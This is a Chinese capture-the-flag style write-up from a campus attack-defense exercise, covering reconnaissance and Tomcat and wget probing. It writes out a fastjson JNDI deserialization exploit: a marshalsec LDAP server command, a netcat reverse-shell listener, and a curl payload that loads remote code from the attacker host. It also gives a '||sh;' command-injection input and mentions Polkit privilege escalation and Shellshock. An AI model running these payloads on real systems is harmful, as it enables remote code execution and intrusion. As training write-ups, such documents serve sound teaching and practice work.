小学期分组对抗赛WP

1.运用环境及条件

1.1系统配置

Windows系统：

版本 Windows 11 专业版

版本 23H2

安装日期 ‎2023-‎07-‎20

操作系统版本 22631.2271

体验 Windows Feature Experience Pack 1000.22674.1000.0

Kali系统：Linux Stark 6.4.0-kali3-amd64 #1 SMP PREEMPT_DYNAMIC Debian
6.4.11-1kali1 (2023-08-21) x86_64 GNU/Linux

1.2软硬件清单

2.目标系统（或网络）环境

我队攻击机在校园网中IP为10.15.7.23，在对抗赛外网中IP为172.17.0.119

所有私地题1的IP：

所有高地题的IP及端口：

192.168.30.42：22、80

192.168.30.55：22、80

192.168.30.35：22、80、8002

3.演练过程与结果

3.1私地题

3.1.1私地题1

ssh连接到攻击机，在攻击机上传masscan进行端口扫描，发现私地题1开启了22、8080和8009端口，尝试curl8080端口发现部署了Tomcat8.0.36。

我的电脑无法直接连接私地，因此在攻击机做了端口转发，使用iox将私地8080端口转发到攻击机8080端口。

在获得第三个hint之前，主要测试过程如下：

1. 信息收集

   1. 扫全端口，发现：

   2. 22：SSH

   3. 8080：Tomcat 8.0.36

   4. 8009：AJP

   5. 扫 8080 端口，发现 PUT 方法可用

   6. 相关漏洞

   7. CVE-2020-1938：Apache Tomcat 文件包含漏洞

   8. 后台弱口令：在Tomcat8环境下默认进入后台的密码为 tomcat/tomcat，未修改造成未授权即可进入后台

   9. CVE-2019-0232：Apache Tomcat 远程代码执行漏洞

   10. CVE-2017-12615：Tomcat7远程代码执行漏洞(PUT请求)

   11. Tomcat样例目录session操控漏洞

   12. CVE-2016-8735：Tomcat反序列化漏洞

   13. CVE-2016-1240：Tomcat本地提权漏洞

   14. 尝试访问8080端口，返回 404，无意之中发现刷新几次就可以正常显示了

   15. 点击Manager App，返回空白，发现同上，刷新几次就可以正常显示登录框了

2. 确定攻击链

   1. getshell：

   2. 弱口令进后台——传war马——利用CVE-2020-1938包含马

   3. session操控拿后台——传war马——利用CVE-2020-1938包含马

   4. CVE-2016-8735 RCE

   5. 提权：未getshell，待定

3. 结果：

   1. getshell

   2. 弱口令爆破，无果

   3. 存在session操控，但没用

   4. 漏洞利用条件不满足

获得第三个hint前，主要在关注Tomcat的漏洞。但获得第三个hint后，发现访问192.168.35.1000:8000/whatsyourname/这个url显示Hello
World，根据路径名称猜测该页面可传参name，尝试POST传参name=xxx后无变化，想到使用以json格式传参，尝试传参{“name”:”admin”}，返回显示{“data”:”Hello
admin, Your age is
null.”,”success”:200}，说明传参格式应为json，返回报文中有age这一属性，猜测还可以传递参数age，尝试传参{“name”:”admin”,”age”:”123”}，返回显示{“data”:”Hello
admin, Your age is 123.”,”success”:200}。

至此，得到了攻击路径，传参格式，首先想到json注入，模糊测试20分钟后发现没有任何报错，所有参数均被正常打印出来，说明不是json注入。此时想到json另一个经典漏洞，fastjson反序列化漏洞，尝试验证。漏洞原理这里不做赘述，可参考https://blog.csdn.net/Bossfrank/article/details/130100893。

首先在攻击机搭建环境：
第一步，编写攻击文件Exploit.java，关键点在画红框的位置，这里的IP为攻击机在对抗赛外网中的IP，可以使用ip
a命令查询，端口号填写攻击机等会getshell的端口。

第二步，编译刚才写的Exploit.java，关键点在于java和javac的版本，一定要保证它们的版本同为1.8.0_181，编译所使用的操作系统不影响最终结果。然后将编译好的Exploit.class上传到攻击机，如目录/home/iscc/下。

第三步，搭建http服务，在刚才上传的目录下执行命令python2 -m SimpleHTTPServer
1111，一定要和Exploit.class同目录。这一步是为了接收LDAP服务重定向请求，需要在攻击文件同目录下开启http服务，这样才可以访问到攻击文件

第四步，搭建LDAP服务，这里直接利用脚本marshalsec-0.0.3-SNAPSHOT-all.jar，可在github下载，在攻击机执行命令

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://172.17.0.119:1111/#Exploit 9999

这一步使用marshalsec工具在9999端口开启LDAP服务，借助LDAP服务将LDAP reference result 重定向到web服务器。

第五步，在攻击机监听1888端口，nc -lvvp 1888
第五步，在攻击机监听1888端口，nc -lvvp 1888

curl -X POST -d '{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"age":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://172.17.0.119:9999/Exploit","autoCommit":true}}' http://192.168.35.100:8080/whatsyourname/

成功getshell。

接下来是提权部分，在私地执行命令uname -a和lsb_release
-a，查看系统和内核版本，发现内核版本较低，想到使用DirtyCow漏洞或Polkit漏洞提权，尝试前者未成功，尝试后者提权成功。

但值得注意的一点是，在这场比赛中提权并无大用，如果细心的话可以发现，所有私地均可以直接访问攻防赛外网，也就是访问我们的攻击机，也就是说我们无需在私地重新搭建fastjson反序列化漏洞的攻击环境，只需要在私地执行

curl -X POST -d '{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"age":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://172.17.0.119:9999/Exploit","autoCommit":true}}' http://192.168.35.100:8080/whatsyourname/

这条和刚才在攻击机上一样的命令，同时将http://192.168.35.100:8080/whatsyourname/中的IP修改为别人的私地IP，即可在攻击机getshell。至于如何获得别人的私地IP呢，可以写一个shell脚本，批量执行ping命令。但我未作尝试，因为这台机器提权过于简单。

3.2.2私地题2

这是一道pwn题，能力有限，遂未作深究。主要尝试过程如下：

1. 信息收集

   1. 扫全端口，发现：

   2. 22：SSH

   3. 8000：PWN题环境

   4. 相关漏洞

   5. wget

      1. CVE-2017-13090：Wget缓冲区溢出漏洞

      2. CVE-2016-4971：Wget重定向漏洞

      3. CVE-2017-13089：Wget栈溢出漏洞

   6. nc8000端口，提示Welcome to ISCC debug tool
      Usage:url www.baidu.com

   7. 测试输入

   8. url www.bit.edu.cn：等待长时间后返回空白

   9. url 0.0.0.0:22：立即返回base64编码，解码后为SSH指纹，且提示协议不匹配

   10. url 0.0.0.0:80：立即返回base64编码，解码后得到html,为网站根目录

   11. url 0.0.0.0:8000，等待长时间后无返回

2. 确定攻击链

   1. 获取pwn文件：

   2. CVE-2016-4971

   3. getshell：

   4. CVE-2017-13089

   5. CVE-2017-13090

   6. 提权：待定

3. 结果：

   1. 获取pwn文件：

   2. 在攻击机搭建http和ftp，当靶机访问http时重定向到ftp，下载.bash_profile脚本，在攻击机监听返回端口，没有getshell。

   3. 此时nc靶机80端口，返回一串base64编码，解码后得到html，如下，与刚才的区别在于此时debugTool增加了href标签，并且攻击机监听到靶机访问了本机。此时猜测思路大致正确，只需要想办法下载debugTool即可。​ ​

   4. 发现靶机部署Apache 2.4.7，存在多个文件相关漏洞，猜测下一步需要用这些漏洞下载debugTool，暂未尝试。

   5. 根据所有测试结果，猜测靶机8000端口逻辑为：①严格判断用户输入格式是否为"url xxx.domain.xxx"，且不能包含任何目录以及协议②执行命令"wget xxx.domain.xxx"，将返回值以base64编码输出③当用户输入靶机80端口时，直接返回根目录页面，当用户输入靶机8000端口时，不执行任何命令。

   6. 再次尝试复现漏洞，只返回空白，且无法监听到靶机访问攻击机。nc靶机8000端口，输入0.0.0.0:80，返回第一种html，但过一段时间后再次输入相同，返回第二种html，猜测有可能触发了某种机制。黑盒测试水平有限，无法继续。

赛后得知输入

​url www.baidu.com||sh;

即可getshell，并且可以执行getflag命令，有些疑惑，没想到和hint所说的wget漏洞和pwn有什么关系。

3.2高地题

高地题的攻击是在最后六个小时进行的，同时打三台，较为仓促，基本未作截图。在私地服务器提权后改了个密码，在私地服务器使用masscan扫出高地服务器有三台。

3.2.1 192.168.30.35

这台高地的80端口和8002端口部署了相同的web应用，有点疑惑为什么，严重怀疑是弄错了，点进去之后界面如下。

尝试点击这几个页面后，发现只有admin界面和login界面有可能被利用。

admin界面为Django的管理员登陆界面，尝试了几个常见sql注入漏洞均不存在。

login界面有rememberMe选项，首先想到是shiro反序列化漏洞，但发现并不是，遂放弃这台高地。

3.2.2 192.168.30.42

这台高地在80端口部署了一个叫ISCC2016的网站，只有一行href，点进去之后发现路径名称为192.168.30.42/cgi-bin/hello.sh，且显示：

立刻想到CVE-2014-6271 Bash Shell破壳漏洞，payload如下。可惜这台服务器getflag是坏的。

3.2.3 192.168.30.55

这台高地在80端口部署了WordPress3.9，使用WPScan扫描后未发现什么可用漏洞，使用dirsearch扫描后发现phpinfo界面泄露，路径为192.168.30.55:80/info.php，但没找到可利用的点，时间有限，无奈放弃。

4.原则和技术路线

基本遵循渗透测试标准流程进行，如下图所示。